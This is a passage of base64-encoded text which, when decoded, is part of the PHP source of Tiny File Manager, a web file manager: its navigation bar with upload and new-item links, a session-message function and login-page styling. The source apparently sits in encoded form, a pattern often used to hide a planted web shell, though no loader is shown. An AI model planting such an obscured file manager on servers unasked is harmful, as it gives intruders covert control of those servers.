JjaC1hZGRvbjIiPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giPjwvaT48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCBidG4tZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IGRyb3Bkb3duLXRvZ2dsZSBicmwtMCIgZGF0YS1icy10b2dnbGU9ImRyb3Bkb3duIiBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSI+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRyb3Bkb3duLWl0ZW0iIGhyZWY9Ijw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz4iIGlkPSJqcy1zZWFyY2gtbW9kYWwiIGRhdGEtYnMtdG9nZ2xlPSJtb2RhbCIgZGF0YS1icy10YXJnZXQ9IiNzZWFyY2hNb2RhbCI+PD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkIFNlYXJjaCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZ1cGxvYWQiPjxpIGNsYXNzPSJmYSBmYS1jbG91ZC11cGxvYWQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ05ld0l0ZW0nKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjY3JlYXRlTmV3SXRlbSIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZU5ld0l0ZW0iPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+PC9hPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9BVVRIKTogPz4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIGF2YXRhciBkcm9wZG93biI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBkcm9wZG93bi10b2dnbGUiIGlkPSJuYXZiYXJEcm9wZG93bk1lbnVMaW5rLTUiIGRhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiPiA8aSBjbGFzcz0iZmEgZmEtdXNlci1jaXJjbGUiPjwvaT4gPD9waHAgaWYoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkpIHsgZWNobyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddOyB9ID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IHRleHQtc21hbGwgc2hhZG93IDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+IiBhcmlhLWxhYmVsbGVkYnk9Im5hdmJhckRyb3Bkb3duTWVudUxpbmstNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JnNldHRpbmdzPTEiPjxpIGNsYXNzPSJmYSBmYS1jb2ciIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdTZXR0aW5ncycpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWYgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnSGVscCcpID8+IiBjbGFzcz0iZHJvcGRvd24taXRlbSBuYXYtbGluayIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4maGVscD0yIj48aSBjbGFzcz0iZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdMb2dvdXQnKSA/PiIgY2xhc3M9ImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmsiIGhyZWY9Ij9sb2dvdXQ9MSI+PGkgY2xhc3M9ImZhIGZhLXNpZ24tb3V0IiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz4iIGNsYXNzPSJkcm9wZG93bi1pdGVtIG5hdi1saW5rIiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZzZXR0aW5ncz0xIj48aSBjbGFzcz0iZmEgZmEtY29nIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KICAgIDw/cGhwCn0KCi8qKgogKiBTaG93IGFsZXJ0IG1lc3NhZ2UgZnJvbSBzZXNzaW9uCiAqLwpmdW5jdGlvbiBmbV9zaG93X21lc3NhZ2UoKQp7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7CiAgICAgICAgJGNsYXNzID0gaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSkgPyAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddIDogJ29rJzsKICAgICAgICBlY2hvICc8cCBjbGFzcz0ibWVzc2FnZSAnIC4gJGNsYXNzIC4gJyI+JyAuICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddIC4gJzwvcD4nOwogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTsKICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddKTsKICAgIH0KfQoKLyoqCiAqIFNob3cgcGFnZSBoZWFkZXIgaW4gTG9naW4gRm9ybQogKi8KZnVuY3Rpb24gZm1fc2hvd19oZWFkZXJfbG9naW4oKQp7CiRzcHJpdGVzX3ZlciA9ICcyMDE2MDMxNSc7CmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsKaGVhZGVyKCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIik7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwoKZ2xvYmFsICRsYW5nLCAkcm9vdF91cmwsICRmYXZpY29uX3BhdGg7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyIj4KICAgIDxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iQ0NQIFByb2dyYW1tZXJzIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4KICAgIDw/cGhwIGlmKCRmYXZpY29uX3BhdGgpIHsgZWNobyAnPGxpbmsgcmVsPSJpY29uIiBocmVmPSInLmZtX2VuYygkZmF2aWNvbl9wYXRoKS4nIiB0eXBlPSJpbWFnZS9wbmciPic7IH0gPz4KICAgIDx0aXRsZT48P3BocCBlY2hvIGZtX2VuYyhBUFBfVElUTEUpID8+PC90aXRsZT4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz4KICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+CiAgICA8c3R5bGU+CiAgICAgICAgYm9keS5mbS1sb2dpbi1wYWdleyBiYWNrZ3JvdW5kLWNvbG9yOiNmN2Y5ZmI7Zm9udC1zaXplOjE0cHg7YmFja2dyb3VuZC1jb2xvcjojZjdmOWZiO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDL3BhdGglM0UlM0Mvc3ZnJTNFIik7fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZHsgd2lkdGg6MTIxcHg7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbjowIGF1dG87cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCBpbWd7IHdpZHRoOjEwMCV9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlcnsgd2lkdGg6MzYwcHg7bWFyZ2luLXRvcDoxMCU7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmR7IGJvcmRlci1jb2xvcjp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgNHB4IDhweCByZ2JhKDAsMCwwLC4wNSl9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtdGl0bGV7IG1hcmdpbi1ib3R0b206MS41cmVtO2ZvbnQtc2l6ZToyNHB4O2ZvbnQtd2VpZ2h0OjQwMDt9CiAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tY29udHJvbHsgYm9yZGVyLXdpZHRoOjIuM3B4fQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWdyb3VwIGxhYmVseyB3aWR0aDoxMDAlfQogICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NreyBwYWRkaW5nOjEycHggMTBweH0KICAgICAgICAuZm0tbG9naW4tcGFnZSAuZm9vdGVyeyBtYXJnaW46NDBweCAwO2NvbG9yOiM4ODg7dGV4dC1hbGlnbjpjZW50ZXJ9CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDo0MjVweCl7CiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXdyYXBwZXJ7IHdpZHRoOjkwJTttYXJnaW46MCBhdXRvO21hcmdpbi10b3A6MTAlO30KICAgICAgICB9CiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDozMjBweCl7CiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLmZhdHsgcGFkZGluZzowfQogICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQgLmNhcmQtYm9keXsgcGFkZGluZzoxNXB4fQogICAgICAgIH0KICAgICAgICAubWVzc2FnZXsgcGFkZGluZzo0cHggN3B4O2JvcmRlcjoxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZ9CiAgICAgICAgLm1lc3NhZ2Uub2t7IGJvcmRlci1jb2xvcjpncmVlbjtjb2xvcjpncmVlbn0KICAgICAgICAubWVzc2FnZS5lcnJvcnsgYm9yZGVyLWNvbG9yOnJlZDtjb2xvcjpyZWR9CiAgICAgICAgLm1lc3NhZ2UuYWxlcnR7IGJvcmRlci1jb2xvcjpvcmFuZ2U7Y29sb3I6b3JhbmdlfQogICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO30KICAgICAgICAudGhlbWUtZGFyayBzdmcgZywgLnRoZW1lLWRhcmsgc3ZnIHBhdGgge2ZpbGw6ICNmZmZmZmY7IH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gImRhcmsiKSA/ICd0aGVtZS1kYXJrJyA6ICcnOyA/PiI+CjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgoKICAgI